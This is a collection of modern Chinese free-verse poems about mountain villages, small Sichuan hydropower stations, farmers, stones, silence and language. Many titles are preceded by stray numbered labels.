干脆，我们何不把很多事情 都放入时间锁链一般的样子里面呢。 他离开村庄的时候是否称作一辆牛车 牛车驼人， 泥泞路上行走，压出的车辙是否还在。 在诗歌里面修zheng一场雨， 压的深的时候时间也一样长漫长。 我什么都没有看到， 他也低着头。 以诗歌的方式车辙还在，但封闭，隐喻。 上面一层脱离了文字， 像树 树也需要雨水。像雾气。 东山村62 《东山村》 大海翻滚， 在我的脸庞下面。 大海，是一串串断了线的水珠 书籍之中仕女的忧伤 绝不仅仅止步于忧患和不幸。 如果有那道难以收回的目光 一开始是悲悯。 在远离大海的内陆地区， 在使一切止步的小村庄，它把 它自己的根经由人的手 深深地扎在了土地上。 我在夜晚掀开一本书， 忧伤仕女的背影还在这里。 春耕的土地正被夜虫 开始了轻轻虫鸣一般提醒。 赠礼 《赠礼》 我走啦，赠礼是 把东山村写进了我的诗歌里。 你，一个农民，不懂 把它当做一张废纸扔在了地上， 踩进了雪后泥泞的泥土里。 等你起身，抬起头时， 请你冲我挥挥手。因为， 我走啦。赠礼是如此，告别亦如此。 石头66 《石头》 从石头之词中出来， 看受yun石头。 最为明亮的生育时刻。 看石头里面有一条蓝色的甬道， 有来无回，看 为了离去，我们一次次提到了世间。 由那些野草，楼宇，阴影，石头 和荒芜组成。 有的人正在赶来， 一边饮食一边匆匆赶路， 其实你也正是一个声色犬马之徒。 不是吗？ 为了反驳，生成了的那些始终沉默的石头 看它如何始终都在人的悲悯和良心中。 整个， 《整个》 在于静默， 我向我进行存在肤浅的无声申诉。 像今夜一般，进行着 在进行中结束了的， 有饮食。欲望的贪婪却依然 火车一般的碾压出车辙。 为了为遗漏补充出更为充足的词语， 在fting上，我倾听 我申诉， 对着一株夜晚里面的多么无辜的野草 它只剩下的草茎。 夜谈66 《夜谈66》 在沉默中让自己， 接受自己对自己无力的申诉。 不需要结果的人儿也将 重新的返回到了黑暗。 我带着梅花，带茉莉花 摘下来时的轻微之痛。 没有人挽留我就一猛子如扎进了湖水里面， 沉默是很轻微的东西， 在权衡左右，利弊的天平上面 我优先选择是我自己。 也是夜晚，同样让一切微小的事物 旁白的事物都一一的鲜活。 诗歌66 《诗歌》 具有统一的例证， 也应该，都逃避了人类的责罚。 人们会把并不确定和明晰的界限 ：语言，仿佛是从什么时候 事物开始为了多。 月下则为盈满， 求索一种朦胧中、口袋中 雾气中的浪漫何其困难。 那主人公， 像被刀逼着，歪着脖子 一遍遍的把爱来重复。 我爱你，青草生长。 诗歌的青草，内容却以缓慢把一切涉及。 于是，我爱你。我一遍遍的爱你 蒙着面纱的女主人公，把眼泪流下。 机井，， 《机井》 属于我的不是城市 楼阁上面的眼睛，在傍晚就发出光亮。 这些内部已经从口腔 深入了食道，胃部的反刍 运动。反刍着我肤浅的观点 我焦急的渴望供出它 ：与粮食保持着接近因此而远离。 那些城市里面的房子在一片片的树林后面 竹子凿空了自己的管道。 每一个语言都在霓虹闪烁中 注释着，与天上的星斗无疑。 属于我的，你的请你勇敢的说出 你不可能再赶着牛车，泥泞道路上面 压出车辙。 村庄，群山，田野 风土人情挽留不住村庄的萎缩和衰亡。 把用野花编制的，给农村的女子戴上 像我的话语只能漂浮在村庄的机井上面 在很小的但平静的湖面上 时间的队列，冲我而来。 听那个经受了很多生活磨砺的年轻人 最终考上了大学，去到了城里 心中的伤感一直都在。 如果66 《如果》 如果我能一直就这样活着就好了， 没有人，就自己给自己赞誉。 那些光芒投射而下里面，也有着 也可以看清它们的组构 在人的建筑之中尽管流过了汗水， 经历的失败一次次让我们心灰意冷。 坍塌像是对于年久失修终于承受不住 太多的怨念。 在那一个瞬间，垮塌想到了 那些我思想一次垮塌的时刻。 这语言的全部袭扰住了我。 建筑66 《建筑》 建筑着的房屋， 房屋自会把建筑发生在寂静里面的 无声也纳入其中。 像我幸福的时刻，我也误以为 来自那些个无声语言。语言的秘处像是 尽头已到达， 向人儿敞开了怀抱。 我并不是从小溪流淌在大地上的源头 幸福的时刻不会重现，在于一种回声。 我去追逐它那错误的重复，也来自于我一路上我回想着 之前，在木质中听到芬芳馥郁。 没有，，， 《没有》 痛苦的根茎， 向上自然生长，透过了空气。 不幸是什么 乃至在你贴近的脸庞 上面是否烙刻着被以命运相称的结果。 我迟疑的地方不对，没有人 我才只好更加的迟疑。连贫乏都拯救不了我 拯救本身也是虚假的。 握不住的是那些，闪耀着属于微末和部分的光芒。 我们1 《我们》 我们共用思想和情感， 思想是树，伸展前我们是基底 待在黑暗的屋子里面 我是你，我等待回声的回来。 我们，我会感受到你在某个地方 把远放下。 如信笺已经写就。书写的历程 因为路程的奔波而始终没有结束。 在我与你之间后来产生了水一样子的波动 我们团结的更紧， 像一个词语。 像渴求阳光的心。有人说 当一棵树滋养于情感，当山风 仿佛吹进了旅人静默的心里 那棵破窗而出的大树 暂时的眩晕里面我就失去了对它的注解。 呼吸。。 《呼吸》 我们的呼吸如今 已经拥有了我们的缓慢。 我们为数不多的珍贵 又珍贵于对遗失在体内， 腹部 一路向下， 在消化之中快要消失的语言的寻找。 我们能追寻到什么呢 给予说这话的人，如他就是语言 在岸上肥胖的倒影。 出发的困难，出发者甚至好不容易 才到达于身形的消瘦。 当一双脏兮兮的手，收获 逆着饮食之路，看这些不可避免的 以语言所表达的平凡和沦于欲望。 人是 《人是》 人是什么， 在远的浮萍上面的比喻和形容， 像一条给予我偶然放松的带子。 穿着破旧衣裳的人，这样问。 在一个短暂里面制造永恒的雷声 我从未见过那些能够遮蔽天空的词语 因此我才说， 说因此被赋予了因果关系 ：我才需要抬头。 一个人让他爱自己仿佛被需要的时刻， 他感觉世界就是一株木棉树 结了果，之后凋零，叶子飘落 只剩下草茎 一株木棉，他说，就这样把世界支撑着。 或许 《或许》 或许，我们会发现。缓慢和晦涩 是一对邻居。 晦涩有时候会变成一束 从上面投下来的光线，逐渐的暗淡 它回忆着这些时刻。 如今它已经暗淡， 屋内的一切便都看不清。 作为一个结果，有时候又总是在于 对结果的反驳和抗议， 都只是在语言的内部发生。 作为结果的语言，它的言谈，表述， 猜测和推论都是回忆。 那个黑暗里面被碰到的事物 发出的回声一直都在。 像一些之前的时候，人徐徐下降 如一束光 但日子久了就觉得孤独。 人仿佛怀抱住了什么，从自己的身体里面 有另一个自己。 我们的回声也慢慢的回了来， 说着我们再也听不懂的语言。 一生1 《一生》 一生，积雨云般 要慢些读， 读完之后再重新的读一遍。 明天， 比今天要更远一些，也是一种重复 你就是我的彼岸 鲜活的目标在我的眼睛里面 时时刻刻的晃动。 我的梦是用来处理那些惊叹 有人说命运是可疑的，我便认真的同意。 用我 《用我》 用我作为个标准来说时， 世界向下，它的明晰 属于次要。 我也是明晰的，在我心中激荡着的 被误以为作了内容。 我也是明晰的， 明晰的由来是我正想要说的。 像一颗石头那样子的明晰 它也想要祛除它自己的沉默。 石的内部倾听， 没有光泽。不止一次。 为了拒绝所有，像我会一劳永逸 词语之中则愿意同义化为决绝。 像我蜷缩，懒惰 那人儿便与我告别，并非不辞而别。 像一切， 一切只是一个回声。 有人会说命运会到达于此刻， 世界之天空像倒扣过来的时钟 刻度的多余的词语走过麦田， 向上，竖立的草茎， 已经被剥去叶子的部分。 草立在那里， 我说的一切是什么意思。 女人，， 《女人》 女人，女人已变作稻田铺向远方。 那些问询敲门， 让女人摊开她们的双r， 让人们说话，一说就意味着 很多年过去了。 让人们用眼睛说话， 代替了语言的感觉，需要无数的语言 来填埋。 莲动下渔舟 《莲动下渔舟》 活可以不断的活， 不反驳，绝非沉默 一路上没有终点， 走着。 才因此，我杜撰 实为逃避与妄想 火花会烧痛我。山间一壶水 它又烧痛过多少文人骚客呢。 如今，我更有兴趣 在无聊中无聊 在语言之中贫乏的弄起 惹浣女斥骂的溪水。 是否，山涧正有人为了灭火 而脱下了自己的裤子。 是否明证是唯一的有所收获却让人 尴尬 ：我们将生命的语言表达投入了 起初脆弱的火苗， 却又在他它的熊熊燃烧之中 惊慌的夺路而逃。 我从不在意浣女的责骂， 月上柳梢头， 是否一匹马会从山上急匆匆下来， 一匹马打开了它自己 马匹千年的伪装， 裸露的精光之人自称李白 一猛子扎进傍晚的湖水里面。 枷锁 《枷锁》 给事物戴上一副枷锁， 并念出它就像念出时会产生的 回声。 像沉默不语，从碧湖峰上赶回来的人 闯进了雨水。 为了赶回来，但还没有回来。 像迷路之人， 家，像是成为了只在你的 心里的事物， 这肉身的枷锁，你觉得。 春天1 《春天》 好词， 春天的醉意触碰你， 歪斜着身子，用头撞着你。 撞着就把我那顽疾再重复一遍 念白似医生， 重复里面一遍遍手儿最接近那些 摇晃和恍惚的花影。 这， 是什么。如果有一个“里面” 我是个俗套之人落入俗套又如何。 从放松之中，晃动放松这个 日日夜夜里面的名词。 不断遗忘那个不断告知我她名字之人， 去把她推到热闹的老家的集市。 把她安放到一个村庄的梦里 如何做梦的村庄，没有人描述和重复 它铺开的身子。 没有语言似青草，没有河流 像堤坝，像界限 像忽高忽低的语言寻找，一直把自y寻找。 我就这样活着， 我是另一个人，夜里交代，夜里沉睡 不问因果。 大体如此。说懵懵懂懂，无异于沉默。 四川的水电站 《四川的水电站》 山很高， 文字就不断往下落， 流淌也在其中。 \/ 把“的”去掉， 第一年。 第二年桃花开了 我重复着旧年之事 赶来。 《春天稠密，一个川剧演员赶往都江堰 《春天稠密，一个川剧演员赶往都江堰》 ————春天，我歌唱葡萄。他说。 多么奇怪，在一个盆地歌唱葡萄。 大雪1 《大雪》 一月多雪， 下了很多。也有可能是对着另一个人 拟物。 一月雪很厚，如果我没说 点着炉子只是把屋内那个慢慢的融化。 会发生什么呢 会发生什么， 还要更多。 我所省略的是过去，现在 现在我也有自己可以呼来喝去的肉体。 雪厚有很多我没说， 我看见雪山了，很高， 一直都在听着。 也听我把唾沫咽了下去， 川剧1 《川剧》 也可能活是抬着， 写是走。 就这么滴，一个人就足够了。 就这么个样子， 一个人他进了四川，人模人样。 千年1 《千年》 把一个人推了多远，几千年。 都是小事。 大事在几千年里面正像今夜，赶路时 被抛到身后的山峦逐渐的变小。 夜晚能摸到的是和白天广阔， 一样子的事情。 一个屋舍在夜晚变作了另一个，它 从倾斜的滑梯上面轻轻的滑落。 我们走了很慢， 你就能接纳我。我是男的， 我猜测你就善良，端庄。 今天很慢，语言只是语言。 景色是一片一片的稻田， 我脑海中一片一片的玉米地。 写字1 《写字》 用拐杖走路，写字 阻止衰老。 阻止着的是什么， 是无力。多么无力的确证，探试着 它的力量。 旧日的潮水像什么， 修好我们的堤坝。用大理石， 大理石则不够， 远远不够里面是年轻的你一声大吼， 在嘈杂的声音里面，只能如此 那些被冲毁的liuqi十年代算什么。 恍然的见你练习用拐杖走路， 一次次故意写错它们。 土地11 《土地》 有锄头，我就感到幸福。 有一头牛我就感觉， 会幸福到天上。 我看到许许多多的农民 拥有了他们的土地。 像从天而降的是幸福而不是土地， 又像雪花。 降落， 在大地上我却听到了低低的哭泣声。 大山2 《大山》 很多人， 都有着远山如黛的眉宇 但山太高了 他们就一生处于贫穷之中。 那些留在大山底下的人们 夜晚都化作了风中摇曳的贫穷的灯火。 大山23 《大山》 很多人， 都有着远山如黛的眉宇 但山太高了 他们就一生处于贫穷之中。 为了解开最简单的因果， 为了能砸开沉重的锁链 为什么沉默不语的农夫 一言不发，不辞而别。 请带着我不值一提的门外之词走得更远 而那些留在大山底下的人们 夜晚都化作了风中摇曳的贫穷的灯火。 在土地。。 《在土地》 在土地上，我们开垦， 耕犁，播种和灌溉。 在土地上的每一份热情都是闪光的。 在土地上人是什么，没有回答，也不需要回答。 我把我的声音递送给空旷，郁郁葱葱的田野 语言中的每一颗也都有同样的事情发生。 达州，， 《达州》 怀抱自己的身躯 等待着命名。 用我的身体藏好了你， 一层层树枝已铺好，上面 洒满了落叶松尖细的松针。 我喜欢做这样的事情， 并不全然是因为小溪会说话， 我也对着自己自言自语。 仅仅光这个活计就花费了我 一整天的时间。 慢慢的，，， 《慢慢的》 慢慢的， 山就长在了他们的脸上，身上。 慢慢的， 慢慢的， 是多么的慢呵。 山就长在了他们的脸上。 我看他们像黄土填埋的颜色 是否会期盼来那个他们对我的印象， 在我心内激荡着的钟表褐色的指针， 生了锈，还一针一针因为不准时而 继续的往前走。 农村人 《农村人》 如果一个人， 突然的就显露出他对田野无限的热爱。 那么，他就是农村人了 是否，， 《是否》 是否，远山如黛是这样来的 他们纷纷走出了那座大山 他们共同的属性是农民，农民 怀抱一颗水。手捧着一捧水 嘴里含着一颗水，直到日暮西斜。 彼此都不认识，你跟我，我跟他 那些遍布山野的树木，斑驳，还在向上生长。 老子闯函谷关时是何景象。 大体如此， 牵着自己的牛走了出来， 路上牛拉了很多的牛粪。 我们踩出脚印。 那里，我们依然还是雨的刻钟 刻度垂在地上，划着。 但最后一次了，之后，最为轻薄的人 也愿意让大山里面中空， 空空。荡荡。愿意把一切都归还给大山 走的怎么能说不遵守礼节呢 正有新生活在等待着我们， 走着，把自己的家什放在牛车上， 骡车上，走着。用绳索捆好。 走着。很慢，向时间的历史的长河里面走着 特别的慢， 又不好再次的被找回。 走出1 《走出》 走出大山， 雾里走出，语言是空的。 沉默更深一些， 遵循它们自己的意愿。 走出大山，把一个孤独的 小水电站放在那里。 把发电，蓄水，拦截 让置放如此的轻柔， 仿佛是第一次，仿佛带着惊异 和好奇 我们再一次听到，自己少年时候才有的纯真。 沿着荒草丛生，向上攀爬 最简朴的水电站 只是一道山里面用炸药开采出来 石头，垒成的石头水坝。 沿着倾斜的坡度往上爬 在坝顶遇见了吹着笛子的自己。 就把一十三省的十三个水电站 为了孤独就把它们放在它们 一一只属于群山之地。 只留下一位姑娘， 正值青春年华，却已经成为了母亲。 土壤， 在夜里念它轻柔的母亲。 村庄13 《村庄》 万物生了 但在空旷无人的大山深处， 无人知晓。 保罗策兰 《保罗策兰》 通过保罗策兰， 语言逐渐增多的，通过 那个石头。 \/ 不允许我们做什么， 在我们之上有多少个时代， 已经过去的是什么 过去的时代是否依然有所逗留， 为自己增添歧义。 \/ 那些向着过去的方向， 竟然可以向着未来。 像我的那个人一直躲在镜子里面， 像一首诗歌的产生， 首先要征得我的同意，我 并不安宁。 在走 《在走》 疲乏了， 在走之中继续的走 所以疲乏了，所以还要继续的走。 那些山沦陷于写山色的诗， 山并不需要雾气。 山的沉睡时刻听到了一阵 走动的声响。 在山腹，在山顶，在山涧 山脚。 语言很轻易，在山的腹中 人是安全的。在山石头一样不疼的心脏。 村庄5 《村庄》 在走，在歌谣放入的口袋里面 歌曲沉睡。 在走，在通往遇见你的路上。 在安装一个清脆小门铃的路上 歌曲沉睡，走着，遇见你时打开它。 无限1 《无限》 人的无限， 人的单一， 干净的天平。 \/ 没有使用过的天平 干净的天平。 人肯定走过了， 包括说者在内是两个人。 包括凶徒在内则是三个。 \/ 人没有任何的重量， 那带不走的， 使得一次又一次 是人，无限与单一的同一。 晃荡，， 《晃荡》 不能迎来反驳的极静 可视作死亡。 不由自主被人们以判断的 可视作死亡。 说着， 一边走下一层层城镇 喷泉广场旁边的大理石台阶。 你是最为丰富的那个， 你已经在极静里面s过多少次了， 多过两次时候的现在，你活着 翻了个身， 极静，向着更深处的我们 和我们的蓝色小型喷泉。 仿佛反驳着的是正是那些有关于 s亡的语言， 在你的体内晃荡着。 一页 《一页》 周天子的土地已经过了千年。 经过千年我才听到了，一页纸落书的声音。 在你， 《在你》 你平稳的呼吸最自由， 换来的自由， 开在枯竭肉体表面尘土上的花 傍晚时分出去， 一副身板穿着那一件破旧的衣裳 夜递送一副身板回来。 在你的口袋里面塞下了 搜查官搜查无果之后的寒酸。 肉体希翼着的，并不在于别处 仿佛急匆匆的书写，潦草 里面急匆匆的写信。 地上布满了纸张。 仿佛因此才在夜里出去， 一副不发一言的身板， 紧密连接的平稳呼吸。 你追逐那些更多的，多余呼吸的 那些。 有时像风中的刻度， 轻轻吹过的夜风，轻轻走过 夜晚属于邮递员的凤凰牌自行车。 舟楫 《舟楫》 我就是夜， 夜就是我。 我被面视和布告比我现在 还要多。也多于三千里江水。 过去，那曾是我 我被抓住，更为具体一双手臂被反扣 眼睛向下。 但那不是现在之中的我。此刻 并不是我真实的陈词。 一直往前而没有停顿，我们才可以谈起真实。 真正令人刺痛的到现在才到来，一支箭羽， 我用手抓住了它。抓住它上面的 眼睛，口，鼻。 用力过猛把抓住作了捂住。 那一支来自夜渡乌江前的书信， 有去无回。想来，结果他也事先料定才发了出。 事物1 《事物》 事物复缀繁多的话， 我愿意多的是可以称作糖果的部分。 愿听着我说话的人， 已经吃掉了第一块糖果。塞满了牙口 少，则要在多的虚幻中发生。 一路向下，兵马不要，连辎重都要作舍弃状。 我迎着向下之人脸庞的温柔， 那问题让我 试图在永恒的对问题回答中，再增添上一个。 回答不是钥匙， 钥匙跌落了就再也打不开一间装满了 糖果的门：我已经不是我了 是否我依然无力的在事物的袭扰之中静候呢。 登山3 《登山》 空之中并非无物，那里有语言多余的监狱。 语言多余所导致， 还有别的，比如一份刑期。 登山时我把这一切讲给你听， 像一个无意的逆流而上者 出于恐惧不安，那心灵怀疑的一面 它占有了我。它形式是蜷缩着的舒张， 又招手喊你同行的逆流而上。 我推测更远，肇事者的原因和性格。 在你的心迹上面，是否正因此有一道冬末春初的寒光 闪过了，像一面镜子闪过的正是我的模样呢。 我太过胆大妄为了，把一切做了有罪的论断。 事情的后果， 早晚都要从失语走向登山何为的自我怀疑。 怀疑难不成因此才被提出， 抑或者正有另一个人他正在我的身上逆流而上。 下山时 我听你重复了同样的语言。 在空之处监狱一般的言语，我见你愈加迷离 愈加的梦幻。 我在我的自我怀疑那里，仿佛我生长着，存在着。 是否也正是我主动的感觉着， 来把那怀疑的精神来提出时，我 也奋力的朝那空荡之处打出了人性虚无的乙酸钠呢。 很多1 《很多》 很多道德之事在诗歌里谈起。 在诗歌里发现事实上只是事物的回声。 挖掘者一脸失望。 在戏曲里面谈起的道德， 像最初的起点就是全部。一个谜 像一个人。 像一个， 总担心是站在律法之厅上面之人， 担心慢总不会是发生的。 人们11 《人们》 人们钟爱缝隙， 人的逝去是很遥远的事物。 近的最为极端形式。 那些，和这些 实则同为一体，在趟过了水的语言里面 在解决一般的， 讨论闪光的问题里，犹如发现。 让一 《让一》 让人冲突于自己，语言宝藏般的虚无在于不自觉陷入。 人们无声的抗议着，有关于 在微不足道之事上面写着人的尊严。 干脆就让一滴水珠是整个世界吧，看 是谁，让我们的世界如此脆弱。 投机取巧者是谁。时代的，语言的 组成了的 是漫长和漫长天幕下 从脆弱走向了晶莹。 从语言之桥，如此不可思议上面 你告诉我的。 一整个族群为了出逃而经过。 我耳目闭塞 《我耳目闭塞》 书写是书写，人放到一边。 如果在放和摆试图小心翼翼， 轻柔的动作里，暴露了我的踪迹。 是否，我在登山时就可以少一些惭愧。 在多一分肤浅的惊觉前， 混同于景色，我觉得春天稠密是一个 好的词语。 其他的词语因此有了新的功用， 为了不至于纷纷本质于自身就是文字的事实。 那“摆放”， 春天稠密，其上才思。 石头1 《石头》 石头一直有着试图开花的 想法。为了能一直有着有天可以开花的想法 作为石头它是真实的， 它也就一直是了一个石头。 多年1 《多年》 多年，会使人麻木 麻木的人会使得更加的麻木发生。 作为结果， 只能是麻木之人，垂听布告。 天色阴郁有时也属于一种情形 确信我们是无所不包的。 确信我看到的是一位老者， 他的归宿是镜子。他所回忆之事 寒光一般流逝而无法被抓住 他不走向一面镜子 那些歧义尽管已入破碎，仿佛深之又深。 无形1 《无形》 无形是流逝的良心吗， 在流逝的下面 又有着众多的事物。 单一，群体的繁多。或 以一个国du来谓之。 我的微不足道的身份里面 留有一块尚未被，也将因此 永远无法被征服的土地。 是舌头：我也喜欢那些偶然之间 听到的，古典的唐宋一般儒雅，诗词歌赋。 我是观流逝者，是个同样之物 停下了那些由众多琐碎的组成，我看到 天空仿若流逝的河。 那些短暂的片刻因赐予我而变得肤浅 这一生我只待在这里是幸福， 放松是一次生产之前的痛苦的漫长。 这一生我待在别处， 我爱那些他们把浮萍写的如此曲线优美 爱把年轻的才华横溢遮盖住 爱一支离去心地善良的竹笛，它听到了我。 怀抱爱的人，更紧，特别的紧 手又怎么可能是无辜的呢。 无形是流逝的良心，如果不是我 也会有别人夜晚重复它。 并非1 《并非》 我知道我所期待的并非仅仅是偶然， 我知道说我也期待偶然 有退而求其次，有侥幸，有 在脑海里面遂一次次的展开，想象。 有邻居的东西从楼上掉下来，但我 选择置之不理。 有东西推着我走，要我解释 所追求的平静，此刻平静的悬疑。 我知道读着的人类似于命运 二者无疑。直到他从一个少年， 大学往后的历程。 鲜活的具体仿佛总给人困扰， 让人相信一切都不是既定与规定。 像文字，湿润 并非是一件器皿湿润，一个东西湿润 甚至晾干了它，在衣架上面 便是一个具体东西的具体由来。 我相信命运对于沉默和勤劳 所具有的窘迫状态。 正在升起，正在阅读，正在书写 当我把东西拍打 在桌子上面时发生了什么。有什么 对于追求才因此成为了追求本身的歧义吗 包裹， 《包裹》 或许首先破裂的是诗歌的形式 ：种子。 我告诉它，或者它告诉我。 为了这最初的或者持续美感的 生成形式。 为了靠近一个种子， 我靠近语言，靠近说，被火 保持距离于人自身安全范围的烘烤。 说暖及疼， 夜的处境大概如此。说永不停步之人 但他你说与猖獗的真正f徒何异呢。 我并不是一个追求真之人 谁呢，会把自己放在莫须有的巧戏的天平。 方寸之间。说，我。 我是不真的，那么这正合我意。 那么一切就是从不真开始。 那么我将静默于此，我分明就是你 寒冬和黑夜所侵袭分明正是你。 我知道已经有无数的诗篇 从今夜的缝隙里面诞生，破碎，滑落 无形本身也是诗篇 诗篇对于人而言的所要求说的形式 有时候它变作了夜。 黑色的，但依然保持了一些它的属性。 或许它也把一棵种子包裹。 谁敢1 《谁敢》 谁敢说自己不是在世界的内部， 谁敢沉默。谁呢 沉默的在了世界的内部。 走廊 《走廊》 春天稠密，在梦影走廊一般 门缝的尽头 呈上。所呈的手被染成了绿色 同样的颜色本属于结果， 一路回溯，皆因不堪我语言的袭扰。 我怎么1 《我怎么》 我怎么能够， 让云层叠着夜晚，夜晚叠着道路 楼宇也把道路叠着而 形成了夜晚的光呢。 让一个发明了光的人 躲得远远的，涉海重洋 让浪花击打在他脸上，暗暗的让他 便起了有关于光的誓言。 让我就是那光光亮着的才好 照着誓言零散的一片。 我重复着的，光的由来有什么区别 他因此发明了光 光的发明就像此刻，是堆叠的。 放开1 《放开》 放开，男士还会抱着女士 放开是屋顶， 最高的那一个，升起 所谓的隐喻曾一次次试图 用任何的方式敲击它。 仿佛云和雨和雾就是那么来的 肇事者在南方。跑那里去了。 放开的下面用屋顶把一切都罩住 每个人都放的很开， 否则就不会有人拿起一根木棍， 突然想到自己小时候的某些童真时刻 化作猴子冲天空敲敲——云的， 雨的，雪的都是重复。 我也想放开，但错误的车辙，试图 做那个老司机，开着，压在上面，压出车辙。 驯服这些逐渐人模狗样的诗歌 ——但绝非我与那些口语风一样。 说话时产生的风一般的动力的 惯性还在于了我的身上。我在一条 羊的肠胃一样的小路上面走着。 放开岂不就是放开那个姑娘， 让她少女，让她爱情，让她婚姻 让她走马观花像我一样 事实上的来到了世上一趟。 一具肉体只会让全部的东西都压向我 明天在一些别的地方， 池塘，迟苑化春水。是一项很苦的事情 并不梦幻。 走路1 《走路》 走路叮叮当当，叮叮当当的 是工人。 工人确认工人， 一路走一路确认，除了确认还是确认 是工人。没有别的。 没有别的也是个把孤独感袭来的回声。 山，巨大的混凝土墙壁 农民，已经纷纷不见了踪影。 走路叮当作响，一个工人把器具 锤子，扳手，螺丝钉，螺丝刀，钥匙 和救苦救难的车钥匙腰间挂。 悬挂语言最为特殊。 小水坝上的小水电站的小维护工人 一路走，叮叮 与当当对话。 一路他走到了的农民的底下， 没准还有农耕的底下。一路 水的1 《水的》 人爱， 往，有水的地方去。 水的地方，形成了城市。 水的地方以前有村庄，有大娘 洗衣裳最在行。 水的地方，有， 我们商量又争夺，如何去瓜分水的地方 的地方。 水的地方如今四下无人一层层水坝的梯田形状。 山同样掏空了自己。 水的地方如今还是有些东西 盈盈波光，月亮照着，它把上面的一切 水的地方所拥有有的 仿佛都属于水， 是水的荣耀。我们就允许水都重讲一遍吧 小水坝之夜 《小水坝之夜》 树的耳朵 听流水。但流水有耳朵 水就听中 提问，问，听之中寂静无声的运动 如何呢？ 但还是会有人把这一幕给看到， 那淡黄色的月之耳 很大，又因它把那眼睛一点点的占据。 江1 《江边》 当五官散去， 人就慢慢的向着真正有些病态。 只要给了钱， 拉货的司机空着车来， 再空着车走都没有抱怨。 路上开车司机的心理，这一刻 所思所想 在一天， 这一天又在一年里对此刻 有所回忆的所思所想。 都是些什么。 就是了诗。 江边2 《江边2》 在此刻我相信， 光照你也照着我。 不动是为了静，看你 是为了相信看我自己。 你是江水， 莫悠悠。我是野花往自己 身上绿意和野草的部分 去思量和平衡于你更多。 没有风， 夜不应该跳出逻辑本身 存在的些许浪漫和美好，夜不会 压的太低。 那么，野草还是会微微的晃动， 它交代了一切，把一切都诚实的交代 微微的 或者轻轻的。乃至于 我们的并不满足把这视作了狡辩 ————为什么不是温柔的。 由此而来，草叶咬住了草茎 野花群开放在江边，是早晚之事。 你整面临着越来越庞大的道德责难的 可能性。 一条江水去悠悠， 我看你难得典雅，你嫌时间偶然才有 光芒的缝隙。 大青衣一 《大青衣》 来苏州吧。 来苏州玩么，来苏州 干什么。，木舟横在岸边 驿站不见人影。 来苏州吧。 来苏州干什么呢， 玩谁呢。谁又被玩呢 那珍重的一跺脚长眠在了山上， 我吃鱼时把它吐出 鱼刺叫木渎古镇。 来苏州还是木渎，爬山登山下山 山山山 还是去枫桥看张继铁铜雕像。 来苏州吧。 你是哪位，为何这声音如此弓驰 冲着茫茫群山 川渝地破碎才如气泡。 无力者之夜 无力者的夜晚，我在巴蜀 小型水电站， 没有。对你说来苏州吧。 野狼 《野狼》 对万千而并不因此羞涩的语言 而言之时， 他坐在了石头上，他叫李亚伟 他走到了那里， 准备观察一番。书中城镇皆 一一损毁， 才好高歌他那野狼disco。 而对此种种，如陌上生花 也已经知晓。 我是褐色的泥土，脏的荣誉等待了太久。 是我，灯火苦苦着了一个晚上 寻路者苦寻无果语言从此处诞生。 在我，在你， 如果你心意的软处同样有一滩泥水 那印在我们脸庞上面 劳保鞋的上世纪八十年代的鞋印 鞋底厚实。 入深山。 冲着深山放歌，野狼disco之放 放乃是冲着历史，冲水之古典 冲前面秦始皇焚书坑儒而书籍的 灰烬皆运来此地之处。 诗歌中所有的道德拯救都透着可疑 歌词已改， 只段落，位置不明。 野狼一号 《野狼一号》 睡，睡就把睡中之醒 睡醒。让那醒醒来，醒着看你 这睡。看不知，看无知 无知无觉如佛陀 梦中解你迷津。 嗜睡者之醒， 其实就是佛陀，不管用？ 就是佛陀。 看你这入睡的历程， 梦话一般的多灾多难。 一个2 《一个》 一个文字，石头的历程远远小于它。 把一个石头放入文字 迎来的只有沉默。是沉默，也是的 比如我再次的随手 把这结果也再次的放入。 仿佛这就是我的生活， 遗失在于渐渐增多之后的遗忘和忽视 有时往回赶时我能看到那些溪流边的石头 殉难的石头，为某种不平而愤然而去的 石头， 由此，它也变得沉默。 再需要一点点的时间，等黑夜降临 它们也就成为了文字。 真的。 试图1 《试图》 试图远离，以心怀敬意的方式。 远离谷物，便不会远离开它的历史。 谷物的另一面。形状，还有那随后 被寄托以语言来说出。 更远，以语言来布告。 作为我一个过客的身份， 在水上我听到了这些。历史对于我的困难 在于从舟楫到水波的漫长， 轻柔和一江春水悠悠有时候也 挽留般的阻拦了我。 我只能在夜里念起了它， 是对鼓面之声的重复和照应。 最下面的肉体。向上 是梦境，更为的清晰。白日里我把那当做了 不可寻， 寻也并非有所寻别物 ：谷物的历史，仿佛不在门外， 门里。山风悠悠中却确确实实的有了一道门。 走出1 《走出》 一个放松者走出了水电站 之影子之歌 之， 野狼disco关闭上了的它那 开关音响。 一个人走他的来，就需要对话 告知我沉默是一支摸索， 向下，需要时间，沉默需要 不理万物。 如果把沉默以谜来看待， 一个人是树，树的影子垂下。 一个人沉默着。 一个人是溪流，溪水流淌 沉默。 走中山川之一人， 走了，小型水电站之空 让另一个人儿来。 一边3 《一边》 一边是你， 一边是树。 一边用树尖顶顶着天空 你也要把这个天空， 天堂般屋宇的支撑梁给它锯掉。 让一个知识分子获取他被认证 的过程是否太过于了漫长和野蛮。 而一个知识分子如果反驳于，他就是锯 锯就是他。让一个知识分子 在江水两岸的放排汉之歌里面重新的去走上 一遭。 他给那些早已经锯倒， 码放整整齐齐的树以枝叶。 白日里面的修辞向着逆生长， 脱下衣服露出他肌肉鼓胀的身体。 达达镇 《达达镇》 路一直往前走就通往达达镇， 名字是我给起的， 镇子也并不一定就真的存在。 我往前一直走， 是为了验证。 超小型水电站 《超小型水电站》 超小型水电站， 狼没了， 人没了， 土地没了， 粮食没了。 超小型水电站， 粮食有了， 土地有了， 人有了， 狼还是没有。 我站着 《我站着》 我站着的时候， 就这么的站着，山也站着 与我一样。 在山上是一切失语时刻的开始 人显然是自寻苦恼的。 思，思的是影子与影子却只丫有一个影子。 往上登山之徒 徒，如此的称谓可谓比失语的制造时刻 还要多多。 石头3 《石头》 石头停顿了一下 为了获得水。 如果石头在山谷之中 山谷也停顿了一下， 在水之中就有了水的回声。 面前的那些水 表面平静之下有着极其凶险的深度 摇晃并不艰难 把东升西落的太阳视作了指针 也未尝不可。 没有人指出我们的错误之处 来的无形的那些惩戒 在你的心中积蓄着的是什么 你叫作梦想是艰难的 一趟旅程。所以你才来到了深山， 所以才不动如钟的凝视 面前的那一滩无人寂寂时的小水洼 使它以表面的平静而掩盖其下之深的 水。让那水。 有一个漫长的历程，浅在自己意义的深中 你等它迎了上去， 山谷把一颗石头包裹时。 老狼1 《老狼》 在深山， 野狼老了，行动不便 就住在了那里。 